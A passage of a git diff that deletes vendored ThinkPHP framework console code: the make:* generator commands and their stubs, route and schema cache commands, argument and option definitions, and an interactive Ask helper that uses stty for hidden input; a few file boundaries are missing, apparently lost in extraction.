think\console\Output; - -class Version extends Command -{ - protected function configure() - { - // 指令配置 - $this->setName('version') - ->setDescription('show thinkphp framework version'); - } - - protected function execute(Input $input, Output $output) - { - $output->writeln('v' . $this->app->version()); - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Command.php b/vendor/topthink/framework/src/think/console/command/make/Command.php deleted file mode 100644 index 88e665a..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Command.php +++ /dev/null @@ -1,55 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command\make; - -use think\console\command\Make; -use think\console\input\Argument; - -class Command extends Make -{ - protected $type = "Command"; - - protected function configure() - { - parent::configure(); - $this->setName('make:command') - ->addArgument('commandName', Argument::OPTIONAL, "The name of the command") - ->setDescription('Create a new command class'); - } - - protected function buildClass(string $name): string - { - $commandName = $this->input->getArgument('commandName') ?: strtolower(basename($name)); - $namespace = trim(implode('\\', array_slice(explode('\\', $name), 0, -1)), '\\'); - - $class = str_replace($namespace . '\\', '', $name); - $stub = file_get_contents($this->getStub()); - - return str_replace(['{%commandName%}', '{%className%}', '{%namespace%}', '{%app_namespace%}'], [ - $commandName, - $class, - $namespace, - $this->app->getNamespace(), - ], $stub); - } - - protected function getStub(): string - { - return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'command.stub'; - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\command'; - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Controller.php b/vendor/topthink/framework/src/think/console/command/make/Controller.php deleted file mode 100644 index 582cffb..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Controller.php +++ /dev/null @@ -1,56 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command\make; - -use think\console\command\Make; -use think\console\input\Option; - -class Controller extends Make -{ - - protected $type = "Controller"; - - protected function configure() - { - parent::configure(); - $this->setName('make:controller') - ->addOption('api', null, Option::VALUE_NONE, 'Generate an api controller class.') - ->addOption('plain', null, Option::VALUE_NONE, 'Generate an empty controller class.') - ->setDescription('Create a new resource controller class'); - } - - protected function getStub(): string - { - $stubPath = __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR; - - if ($this->input->getOption('api')) { - return $stubPath . 'controller.api.stub'; - } - - if ($this->input->getOption('plain')) { - return $stubPath . 'controller.plain.stub'; - } - - return $stubPath . 'controller.stub'; - } - - protected function getClassName(string $name): string - { - return parent::getClassName($name) . ($this->app->config->get('route.controller_suffix') ? 'Controller' : ''); - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\controller'; - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Event.php b/vendor/topthink/framework/src/think/console/command/make/Event.php deleted file mode 100644 index a4676d8..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Event.php +++ /dev/null @@ -1,35 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\console\command\make; - -use think\console\command\Make; - -class Event extends Make -{ - protected $type = "Event"; - - protected function configure() - { - parent::configure(); - $this->setName('make:event') - ->setDescription('Create a new event class'); - } - - protected function getStub(): string - { - return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'event.stub'; - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\event'; - } -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Listener.php b/vendor/topthink/framework/src/think/console/command/make/Listener.php deleted file mode 100644 index bb29668..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Listener.php +++ /dev/null @@ -1,35 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\console\command\make; - -use think\console\command\Make; - -class Listener extends Make -{ - protected $type = "Listener"; - - protected function configure() - { - parent::configure(); - $this->setName('make:listener') - ->setDescription('Create a new listener class'); - } - - protected function getStub(): string - { - return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'listener.stub'; - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\listener'; - } -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Middleware.php b/vendor/topthink/framework/src/think/console/command/make/Middleware.php deleted file mode 100644 index 80f4563..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Middleware.php +++ /dev/null @@ -1,36 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command\make; - -use think\console\command\Make; - -class Middleware extends Make -{ - protected $type = "Middleware"; - - protected function configure() - { - parent::configure(); - $this->setName('make:middleware') - ->setDescription('Create a new middleware class'); - } - - protected function getStub(): string - { - return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'middleware.stub'; - } - - protected function getNamespace(string $app): string - { - return 'app\\middleware'; - } -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Model.php b/vendor/topthink/framework/src/think/console/command/make/Model.php deleted file mode 100644 index acb37e7..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Model.php +++ /dev/null @@ -1,36 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command\make; - -use think\console\command\Make; - -class Model extends Make -{ - protected $type = "Model"; - - protected function configure() - { - parent::configure(); - $this->setName('make:model') - ->setDescription('Create a new model class'); - } - - protected function getStub(): string - { - return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'model.stub'; - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\model'; - } -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Service.php b/vendor/topthink/framework/src/think/console/command/make/Service.php deleted file mode 100644 index 18bd54e..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Service.php +++ /dev/null @@ -1,36 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command\make; - -use think\console\command\Make; - -class Service extends Make -{ - protected $type = "Service"; - - protected function configure() - { - parent::configure(); - $this->setName('make:service') - ->setDescription('Create a new Service class'); - } - - protected function getStub(): string - { - return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'service.stub'; - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\service'; - } -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Subscribe.php b/vendor/topthink/framework/src/think/console/command/make/Subscribe.php deleted file mode 100644 index 4203986..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Subscribe.php +++ /dev/null @@ -1,35 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\console\command\make; - -use think\console\command\Make; - -class Subscribe extends Make -{ - protected $type = "Subscribe"; - - protected function configure() - { - parent::configure(); - $this->setName('make:subscribe') - ->setDescription('Create a new subscribe class'); - } - - protected function getStub(): string - { - return __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'subscribe.stub'; - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\subscribe'; - } -} diff --git a/vendor/topthink/framework/src/think/console/command/make/Validate.php b/vendor/topthink/framework/src/think/console/command/make/Validate.php deleted file mode 100644 index 4926e20..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/Validate.php +++ /dev/null @@ -1,39 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command\make; - -use think\console\command\Make; - -class Validate extends Make -{ - protected $type = "Validate"; - - protected function configure() - { - parent::configure(); - $this->setName('make:validate') - ->setDescription('Create a validate class'); - } - - protected function getStub(): string - { - $stubPath = __DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR; - - return $stubPath . 'validate.stub'; - } - - protected function getNamespace(string $app): string - { - return parent::getNamespace($app) . '\\validate'; - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/make/stubs/command.stub b/vendor/topthink/framework/src/think/console/command/make/stubs/command.stub deleted file mode 100644 index 3ee2b1c..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/stubs/command.stub +++ /dev/null @@ -1,26 +0,0 @@ -setName('{%commandName%}') - ->setDescription('the {%commandName%} command'); - } - - protected function execute(Input $input, Output $output) - { - // 指令输出 - $output->writeln('{%commandName%}'); - } -} diff --git a/vendor/topthink/framework/src/think/console/command/make/stubs/controller.api.stub b/vendor/topthink/framework/src/think/console/command/make/stubs/controller.api.stub deleted file mode 100644 index 5d3383d..0000000 --- a/vendor/topthink/framework/src/think/console/command/make/stubs/controller.api.stub +++ /dev/null @@ -1,64 +0,0 @@ - ['规则1','规则2'...] - * - * @var array - */ - protected $rule = []; - - /** - * 定义错误信息 - * 格式:'字段名.规则名' => '错误信息' - * - * @var array - */ - protected $message = []; -} diff --git a/vendor/topthink/framework/src/think/console/command/optimize/Route.php b/vendor/topthink/framework/src/think/console/command/optimize/Route.php deleted file mode 100644 index 56f7f5a..0000000 --- a/vendor/topthink/framework/src/think/console/command/optimize/Route.php +++ /dev/null @@ -1,66 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\console\command\optimize; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument; -use think\console\Output; -use think\event\RouteLoaded; - -class Route extends Command -{ - protected function configure() - { - $this->setName('optimize:route') - ->addArgument('dir', Argument::OPTIONAL, 'dir name .') - ->setDescription('Build app route cache.'); - } - - protected function execute(Input $input, Output $output) - { - $dir = $input->getArgument('dir') ?: ''; - - $path = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . ($dir ? $dir . DIRECTORY_SEPARATOR : ''); - - $filename = $path . 'route.php'; - if (is_file($filename)) { - unlink($filename); - } - - file_put_contents($filename, $this->buildRouteCache($dir)); - $output->writeln('Succeed!'); - } - - protected function buildRouteCache(string $dir = null): string - { - $this->app->route->clear(); - $this->app->route->lazy(false); - - // 路由检测 - $path = $this->app->getRootPath() . ($dir ? 'app' . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR : '') . 'route' . DIRECTORY_SEPARATOR; - - $files = is_dir($path) ? scandir($path) : []; - - foreach ($files as $file) { - if (strpos($file, '.php')) { - include $path . $file; - } - } - - //触发路由载入完成事件 - $this->app->event->trigger(RouteLoaded::class); - $rules = $this->app->route->getName(); - - return ' -// +---------------------------------------------------------------------- -namespace think\console\command\optimize; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument; -use think\console\input\Option; -use think\console\Output; -use think\db\PDOConnection; - -class Schema extends Command -{ - protected function configure() - { - $this->setName('optimize:schema') - ->addArgument('dir', Argument::OPTIONAL, 'dir name .') - ->addOption('connection', null, Option::VALUE_REQUIRED, 'connection name .') - ->addOption('table', null, Option::VALUE_REQUIRED, 'table name .') - ->setDescription('Build database schema cache.'); - } - - protected function execute(Input $input, Output $output) - { - $dir = $input->getArgument('dir') ?: ''; - - if ($input->hasOption('table')) { - $connection = $this->app->db->connect($input->getOption('connection')); - if (!$connection instanceof PDOConnection) { - $output->error("only PDO connection support schema cache!"); - return; - } - $table = $input->getOption('table'); - if (false === strpos($table, '.')) { - $dbName = $connection->getConfig('database'); - } else { - [$dbName, $table] = explode('.', $table); - } - - if ($table == '*') { - $table = $connection->getTables($dbName); - } - - $this->buildDataBaseSchema($connection, (array) $table, $dbName); - } else { - if ($dir) { - $appPath = $this->app->getBasePath() . $dir . DIRECTORY_SEPARATOR; - $namespace = 'app\\' . $dir; - } else { - $appPath = $this->app->getBasePath(); - $namespace = 'app'; - } - - $path = $appPath . 'model'; - $list = is_dir($path) ? scandir($path) : []; - - foreach ($list as $file) { - if (0 === strpos($file, '.')) { - continue; - } - $class = '\\' . $namespace . '\\model\\' . pathinfo($file, PATHINFO_FILENAME); - $this->buildModelSchema($class); - } - } - - $output->writeln('Succeed!'); - } - - protected function buildModelSchema(string $class): void - { - $reflect = new \ReflectionClass($class); - if (!$reflect->isAbstract() && $reflect->isSubclassOf('\think\Model')) { - /** @var \think\Model $model */ - $model = new $class; - $connection = $model->db()->getConnection(); - if ($connection instanceof PDOConnection) { - $table = $model->getTable(); - //预读字段信息 - $connection->getSchemaInfo($table, true); - } - } - } - - protected function buildDataBaseSchema(PDOConnection $connection, array $tables, string $dbName): void - { - foreach ($tables as $table) { - //预读字段信息 - $connection->getSchemaInfo("{$dbName}.{$table}", true); - } - } -} diff --git a/vendor/topthink/framework/src/think/console/input/Argument.php b/vendor/topthink/framework/src/think/console/input/Argument.php deleted file mode 100644 index 4fa3e3c..0000000 --- a/vendor/topthink/framework/src/think/console/input/Argument.php +++ /dev/null @@ -1,115 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\input; - -class Argument -{ - - const REQUIRED = 1; - const OPTIONAL = 2; - const IS_ARRAY = 4; - - private $name; - private $mode; - private $default; - private $description; - - /** - * 构造方法 - * @param string $name 参数名 - * @param int $mode 参数类型: self::REQUIRED 或者 self::OPTIONAL - * @param string $description 描述 - * @param mixed $default 默认值 (仅 self::OPTIONAL 类型有效) - * @throws \InvalidArgumentException - */ - public function __construct(string $name, int $mode = null, string $description = '', $default = null) - { - if (null === $mode) { - $mode = self::OPTIONAL; - } elseif (!is_int($mode) || $mode > 7 || $mode < 1) { - throw new \InvalidArgumentException(sprintf('Argument mode "%s" is not valid.', $mode)); - } - - $this->name = $name; - $this->mode = $mode; - $this->description = $description; - - $this->setDefault($default); - } - - /** - * 获取参数名 - * @return string - */ - public function getName(): string - { - return $this->name; - } - - /** - * 是否必须 - * @return bool - */ - public function isRequired(): bool - { - return self::REQUIRED === (self::REQUIRED & $this->mode); - } - - /** - * 该参数是否接受数组 - * @return bool - */ - public function isArray(): bool - { - return self::IS_ARRAY === (self::IS_ARRAY & $this->mode); - } - - /** - * 设置默认值 - * @param mixed $default 默认值 - * @throws \LogicException - */ - public function setDefault($default = null): void - { - if (self::REQUIRED === $this->mode && null !== $default) { - throw new \LogicException('Cannot set a default value except for InputArgument::OPTIONAL mode.'); - } - - if ($this->isArray()) { - if (null === $default) { - $default = []; - } elseif (!is_array($default)) { - throw new \LogicException('A default value for an array argument must be an array.'); - } - } - - $this->default = $default; - } - - /** - * 获取默认值 - * @return mixed - */ - public function getDefault() - { - return $this->default; - } - - /** - * 获取描述 - * @return string - */ - public function getDescription(): string - { - return $this->description; - } -} diff --git a/vendor/topthink/framework/src/think/console/input/Definition.php b/vendor/topthink/framework/src/think/console/input/Definition.php deleted file mode 100644 index ccf02a0..0000000 --- a/vendor/topthink/framework/src/think/console/input/Definition.php +++ /dev/null @@ -1,375 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\input; - -class Definition -{ - - /** - * @var Argument[] - */ - private $arguments; - - private $requiredCount; - private $hasAnArrayArgument = false; - private $hasOptional; - - /** - * @var Option[] - */ - private $options; - private $shortcuts; - - /** - * 构造方法 - * @param array $definition - * @api - */ - public function __construct(array $definition = []) - { - $this->setDefinition($definition); - } - - /** - * 设置指令的定义 - * @param array $definition 定义的数组 - */ - public function setDefinition(array $definition): void - { - $arguments = []; - $options = []; - foreach ($definition as $item) { - if ($item instanceof Option) { - $options[] = $item; - } else { - $arguments[] = $item; - } - } - - $this->setArguments($arguments); - $this->setOptions($options); - } - - /** - * 设置参数 - * @param Argument[] $arguments 参数数组 - */ - public function setArguments(array $arguments = []): void - { - $this->arguments = []; - $this->requiredCount = 0; - $this->hasOptional = false; - $this->hasAnArrayArgument = false; - $this->addArguments($arguments); - } - - /** - * 添加参数 - * @param Argument[] $arguments 参数数组 - * @api - */ - public function addArguments(array $arguments = []): void - { - if (null !== $arguments) { - foreach ($arguments as $argument) { - $this->addArgument($argument); - } - } - } - - /** - * 添加一个参数 - * @param Argument $argument 参数 - * @throws \LogicException - */ - public function addArgument(Argument $argument): void - { - if (isset($this->arguments[$argument->getName()])) { - throw new \LogicException(sprintf('An argument with name "%s" already exists.', $argument->getName())); - } - - if ($this->hasAnArrayArgument) { - throw new \LogicException('Cannot add an argument after an array argument.'); - } - - if ($argument->isRequired() && $this->hasOptional) { - throw new \LogicException('Cannot add a required argument after an optional one.'); - } - - if ($argument->isArray()) { - $this->hasAnArrayArgument = true; - } - - if ($argument->isRequired()) { - ++$this->requiredCount; - } else { - $this->hasOptional = true; - } - - $this->arguments[$argument->getName()] = $argument; - } - - /** - * 根据名称或者位置获取参数 - * @param string|int $name 参数名或者位置 - * @return Argument 参数 - * @throws \InvalidArgumentException - */ - public function getArgument($name): Argument - { - if (!$this->hasArgument($name)) { - throw new \InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); - } - - $arguments = is_int($name) ? array_values($this->arguments) : $this->arguments; - - return $arguments[$name]; - } - - /** - * 根据名称或位置检查是否具有某个参数 - * @param string|int $name 参数名或者位置 - * @return bool - * @api - */ - public function hasArgument($name): bool - { - $arguments = is_int($name) ? array_values($this->arguments) : $this->arguments; - - return isset($arguments[$name]); - } - - /** - * 获取所有的参数 - * @return Argument[] 参数数组 - */ - public function getArguments(): array - { - return $this->arguments; - } - - /** - * 获取参数数量 - * @return int - */ - public function getArgumentCount(): int - { - return $this->hasAnArrayArgument ? PHP_INT_MAX : count($this->arguments); - } - - /** - * 获取必填的参数的数量 - * @return int - */ - public function getArgumentRequiredCount(): int - { - return $this->requiredCount; - } - - /** - * 获取参数默认值 - * @return array - */ - public function getArgumentDefaults(): array - { - $values = []; - foreach ($this->arguments as $argument) { - $values[$argument->getName()] = $argument->getDefault(); - } - - return $values; - } - - /** - * 设置选项 - * @param Option[] $options 选项数组 - */ - public function setOptions(array $options = []): void - { - $this->options = []; - $this->shortcuts = []; - $this->addOptions($options); - } - - /** - * 添加选项 - * @param Option[] $options 选项数组 - * @api - */ - public function addOptions(array $options = []): void - { - foreach ($options as $option) { - $this->addOption($option); - } - } - - /** - * 添加一个选项 - * @param Option $option 选项 - * @throws \LogicException - * @api - */ - public function addOption(Option $option): void - { - if (isset($this->options[$option->getName()]) && !$option->equals($this->options[$option->getName()])) { - throw new \LogicException(sprintf('An option named "%s" already exists.', $option->getName())); - } - - if ($option->getShortcut()) { - foreach (explode('|', $option->getShortcut()) as $shortcut) { - if (isset($this->shortcuts[$shortcut]) - && !$option->equals($this->options[$this->shortcuts[$shortcut]]) - ) { - throw new \LogicException(sprintf('An option with shortcut "%s" already exists.', $shortcut)); - } - } - } - - $this->options[$option->getName()] = $option; - if ($option->getShortcut()) { - foreach (explode('|', $option->getShortcut()) as $shortcut) { - $this->shortcuts[$shortcut] = $option->getName(); - } - } - } - - /** - * 根据名称获取选项 - * @param string $name 选项名 - * @return Option - * @throws \InvalidArgumentException - * @api - */ - public function getOption(string $name): Option - { - if (!$this->hasOption($name)) { - throw new \InvalidArgumentException(sprintf('The "--%s" option does not exist.', $name)); - } - - return $this->options[$name]; - } - - /** - * 根据名称检查是否有这个选项 - * @param string $name 选项名 - * @return bool - * @api - */ - public function hasOption(string $name): bool - { - return isset($this->options[$name]); - } - - /** - * 获取所有选项 - * @return Option[] - * @api - */ - public function getOptions(): array - { - return $this->options; - } - - /** - * 根据名称检查某个选项是否有短名称 - * @param string $name 短名称 - * @return bool - */ - public function hasShortcut(string $name): bool - { - return isset($this->shortcuts[$name]); - } - - /** - * 根据短名称获取选项 - * @param string $shortcut 短名称 - * @return Option - */ - public function getOptionForShortcut(string $shortcut): Option - { - return $this->getOption($this->shortcutToName($shortcut)); - } - - /** - * 获取所有选项的默认值 - * @return array - */ - public function getOptionDefaults(): array - { - $values = []; - foreach ($this->options as $option) { - $values[$option->getName()] = $option->getDefault(); - } - - return $values; - } - - /** - * 根据短名称获取选项名 - * @param string $shortcut 短名称 - * @return string - * @throws \InvalidArgumentException - */ - private function shortcutToName(string $shortcut): string - { - if (!isset($this->shortcuts[$shortcut])) { - throw new \InvalidArgumentException(sprintf('The "-%s" option does not exist.', $shortcut)); - } - - return $this->shortcuts[$shortcut]; - } - - /** - * 获取该指令的介绍 - * @param bool $short 是否简洁介绍 - * @return string - */ - public function getSynopsis(bool $short = false): string - { - $elements = []; - - if ($short && $this->getOptions()) { - $elements[] = '[options]'; - } elseif (!$short) { - foreach ($this->getOptions() as $option) { - $value = ''; - if ($option->acceptValue()) { - $value = sprintf(' %s%s%s', $option->isValueOptional() ? '[' : '', strtoupper($option->getName()), $option->isValueOptional() ? ']' : ''); - } - - $shortcut = $option->getShortcut() ? sprintf('-%s|', $option->getShortcut()) : ''; - $elements[] = sprintf('[%s--%s%s]', $shortcut, $option->getName(), $value); - } - } - - if (count($elements) && $this->getArguments()) { - $elements[] = '[--]'; - } - - foreach ($this->getArguments() as $argument) { - $element = '<' . $argument->getName() . '>'; - if (!$argument->isRequired()) { - $element = '[' . $element . ']'; - } elseif ($argument->isArray()) { - $element .= ' (' . $element . ')'; - } - - if ($argument->isArray()) { - $element .= '...'; - } - - $elements[] = $element; - } - - return implode(' ', $elements); - } -} diff --git a/vendor/topthink/framework/src/think/console/input/Option.php b/vendor/topthink/framework/src/think/console/input/Option.php deleted file mode 100644 index 19c7e1e..0000000 --- a/vendor/topthink/framework/src/think/console/input/Option.php +++ /dev/null @@ -1,221 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\input; - -/** - * 命令行选项 - * @package think\console\input - */ -class Option -{ - // 无需传值 - const VALUE_NONE = 1; - // 必须传值 - const VALUE_REQUIRED = 2; - // 可选传值 - const VALUE_OPTIONAL = 4; - // 传数组值 - const VALUE_IS_ARRAY = 8; - - /** - * 选项名 - * @var string - */ - private $name; - - /** - * 选项短名称 - * @var string - */ - private $shortcut; - - /** - * 选项类型 - * @var int - */ - private $mode; - - /** - * 选项默认值 - * @var mixed - */ - private $default; - - /** - * 选项描述 - * @var string - */ - private $description; - - /** - * 构造方法 - * @param string $name 选项名 - * @param string|array $shortcut 短名称,多个用|隔开或者使用数组 - * @param int $mode 选项类型(可选类型为 self::VALUE_*) - * @param string $description 描述 - * @param mixed $default 默认值 (类型为 self::VALUE_REQUIRED 或者 self::VALUE_NONE 的时候必须为null) - * @throws \InvalidArgumentException - */ - public function __construct($name, $shortcut = null, $mode = null, $description = '', $default = null) - { - if (0 === strpos($name, '--')) { - $name = substr($name, 2); - } - - if (empty($name)) { - throw new \InvalidArgumentException('An option name cannot be empty.'); - } - - if (empty($shortcut)) { - $shortcut = null; - } - - if (null !== $shortcut) { - if (is_array($shortcut)) { - $shortcut = implode('|', $shortcut); - } - $shortcuts = preg_split('{(\|)-?}', ltrim($shortcut, '-')); - $shortcuts = array_filter($shortcuts); - $shortcut = implode('|', $shortcuts); - - if (empty($shortcut)) { - throw new \InvalidArgumentException('An option shortcut cannot be empty.'); - } - } - - if (null === $mode) { - $mode = self::VALUE_NONE; - } elseif (!is_int($mode) || $mode > 15 || $mode < 1) { - throw new \InvalidArgumentException(sprintf('Option mode "%s" is not valid.', $mode)); - } - - $this->name = $name; - $this->shortcut = $shortcut; - $this->mode = $mode; - $this->description = $description; - - if ($this->isArray() && !$this->acceptValue()) { - throw new \InvalidArgumentException('Impossible to have an option mode VALUE_IS_ARRAY if the option does not accept a value.'); - } - - $this->setDefault($default); - } - - /** - * 获取短名称 - * @return string - */ - public function getShortcut() - { - return $this->shortcut; - } - - /** - * 获取选项名 - * @return string - */ - public function getName() - { - return $this->name; - } - - /** - * 是否可以设置值 - * @return bool 类型不是 self::VALUE_NONE 的时候返回true,其他均返回false - */ - public function acceptValue() - { - return $this->isValueRequired() || $this->isValueOptional(); - } - - /** - * 是否必须 - * @return bool 类型是 self::VALUE_REQUIRED 的时候返回true,其他均返回false - */ - public function isValueRequired() - { - return self::VALUE_REQUIRED === (self::VALUE_REQUIRED & $this->mode); - } - - /** - * 是否可选 - * @return bool 类型是 self::VALUE_OPTIONAL 的时候返回true,其他均返回false - */ - public function isValueOptional() - { - return self::VALUE_OPTIONAL === (self::VALUE_OPTIONAL & $this->mode); - } - - /** - * 选项值是否接受数组 - * @return bool 类型是 self::VALUE_IS_ARRAY 的时候返回true,其他均返回false - */ - public function isArray() - { - return self::VALUE_IS_ARRAY === (self::VALUE_IS_ARRAY & $this->mode); - } - - /** - * 设置默认值 - * @param mixed $default 默认值 - * @throws \LogicException - */ - public function setDefault($default = null) - { - if (self::VALUE_NONE === (self::VALUE_NONE & $this->mode) && null !== $default) { - throw new \LogicException('Cannot set a default value when using InputOption::VALUE_NONE mode.'); - } - - if ($this->isArray()) { - if (null === $default) { - $default = []; - } elseif (!is_array($default)) { - throw new \LogicException('A default value for an array option must be an array.'); - } - } - - $this->default = $this->acceptValue() ? $default : false; - } - - /** - * 获取默认值 - * @return mixed - */ - public function getDefault() - { - return $this->default; - } - - /** - * 获取描述文字 - * @return string - */ - public function getDescription() - { - return $this->description; - } - - /** - * 检查所给选项是否是当前这个 - * @param Option $option - * @return bool - */ - public function equals(Option $option) - { - return $option->getName() === $this->getName() - && $option->getShortcut() === $this->getShortcut() - && $option->getDefault() === $this->getDefault() - && $option->isArray() === $this->isArray() - && $option->isValueRequired() === $this->isValueRequired() - && $option->isValueOptional() === $this->isValueOptional(); - } -} diff --git a/vendor/topthink/framework/src/think/console/output/Ask.php b/vendor/topthink/framework/src/think/console/output/Ask.php deleted file mode 100644 index 56821c7..0000000 --- a/vendor/topthink/framework/src/think/console/output/Ask.php +++ /dev/null @@ -1,336 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\output; - -use think\console\Input; -use think\console\Output; -use think\console\output\question\Choice; -use think\console\output\question\Confirmation; - -class Ask -{ - private static $stty; - - private static $shell; - - /** @var Input */ - protected $input; - - /** @var Output */ - protected $output; - - /** @var Question */ - protected $question; - - public function __construct(Input $input, Output $output, Question $question) - { - $this->input = $input; - $this->output = $output; - $this->question = $question; - } - - public function run() - { - if (!$this->input->isInteractive()) { - return $this->question->getDefault(); - } - - if (!$this->question->getValidator()) { - return $this->doAsk(); - } - - $that = $this; - - $interviewer = function () use ($that) { - return $that->doAsk(); - }; - - return $this->validateAttempts($interviewer); - } - - protected function doAsk() - { - $this->writePrompt(); - - $inputStream = STDIN; - $autocomplete = $this->question->getAutocompleterValues(); - - if (null === $autocomplete || !$this->hasSttyAvailable()) { - $ret = false; - if ($this->question->isHidden()) { - try { - $ret = trim($this->getHiddenResponse($inputStream)); - } catch (\RuntimeException $e) { - if (!$this->question->isHiddenFallback()) { - throw $e; - } - } - } - - if (false === $ret) { - $ret = fgets($inputStream, 4096); - if (false === $ret) { - throw new \RuntimeException('Aborted'); - } - $ret = trim($ret); - } - } else { - $ret = trim($this->autocomplete($inputStream)); - } - - $ret = strlen($ret) > 0 ? $ret : $this->question->getDefault(); - - if ($normalizer = $this->question->getNormalizer()) { - return $normalizer($ret); - } - - return $ret; - } - - private function autocomplete($inputStream) - { - $autocomplete = $this->question->getAutocompleterValues(); - $ret = ''; - - $i = 0; - $ofs = -1; - $matches = $autocomplete; - $numMatches = count($matches); - - $sttyMode = shell_exec('stty -g'); - - shell_exec('stty -icanon -echo'); - - while (!feof($inputStream)) { - $c = fread($inputStream, 1); - - if ("\177" === $c) { - if (0 === $numMatches && 0 !== $i) { - --$i; - $this->output->write("\033[1D"); - } - - if ($i === 0) { - $ofs = -1; - $matches = $autocomplete; - $numMatches = count($matches); - } else { - $numMatches = 0; - } - - $ret = substr($ret, 0, $i); - } elseif ("\033" === $c) { - $c .= fread($inputStream, 2); - - if (isset($c[2]) && ('A' === $c[2] || 'B' === $c[2])) { - if ('A' === $c[2] && -1 === $ofs) { - $ofs = 0; - } - - if (0 === $numMatches) { - continue; - } - - $ofs += ('A' === $c[2]) ? -1 : 1; - $ofs = ($numMatches + $ofs) % $numMatches; - } - } elseif (ord($c) < 32) { - if ("\t" === $c || "\n" === $c) { - if ($numMatches > 0 && -1 !== $ofs) { - $ret = $matches[$ofs]; - $this->output->write(substr($ret, $i)); - $i = strlen($ret); - } - - if ("\n" === $c) { - $this->output->write($c); - break; - } - - $numMatches = 0; - } - - continue; - } else { - $this->output->write($c); - $ret .= $c; - ++$i; - - $numMatches = 0; - $ofs = 0; - - foreach ($autocomplete as $value) { - if (0 === strpos($value, $ret) && $i !== strlen($value)) { - $matches[$numMatches++] = $value; - } - } - } - - $this->output->write("\033[K"); - - if ($numMatches > 0 && -1 !== $ofs) { - $this->output->write("\0337"); - $this->output->highlight(substr($matches[$ofs], $i)); - $this->output->write("\0338"); - } - } - - shell_exec(sprintf('stty %s', $sttyMode)); - - return $ret; - } - - protected function getHiddenResponse($inputStream) - { - if ('\\' === DIRECTORY_SEPARATOR) { - $exe = __DIR__ . '/../bin/hiddeninput.exe'; - - $value = rtrim(shell_exec($exe)); - $this->output->writeln(''); - - return $value; - } - - if ($this->hasSttyAvailable()) { - $sttyMode = shell_exec('stty -g'); - - shell_exec('stty -echo'); - $value = fgets($inputStream, 4096); - shell_exec(sprintf('stty %s', $sttyMode)); - - if (false === $value) { - throw new \RuntimeException('Aborted'); - } - - $value = trim($value); - $this->output->writeln(''); - - return $value; - } - - if (false !== $shell = $this->getShell()) { - $readCmd = $shell === 'csh' ? 'set mypassword = $<' : 'read -r mypassword'; - $command = sprintf("/usr/bin/env %s -c 'stty -echo; %s; stty echo; echo \$mypassword'", $shell, $readCmd); - $value = rtrim(shell_exec($command)); - $this->output->writeln(''); - - return $value; - } - - throw new \RuntimeException('Unable to hide the response.'); - } - - protected function validateAttempts($interviewer) - { - /** @var \Exception $error */ - $error = null; - $attempts = $this->question->getMaxAttempts(); - while (null === $attempts || $attempts--) { - if (null !== $error) { - $this->output->error($error->getMessage()); - } - - try { - return call_user_func($this->question->getValidator(), $interviewer()); - } catch (\Exception $error) { - } - } - - throw $error; - } - - /** - * 显示问题的提示信息 - */ - protected function writePrompt() - { - $text = $this->question->getQuestion(); - $default = $this->question->getDefault(); - - switch (true) { - case null === $default: - $text = sprintf(' %s:', $text); - - break; - - case $this->question instanceof Confirmation: - $text = 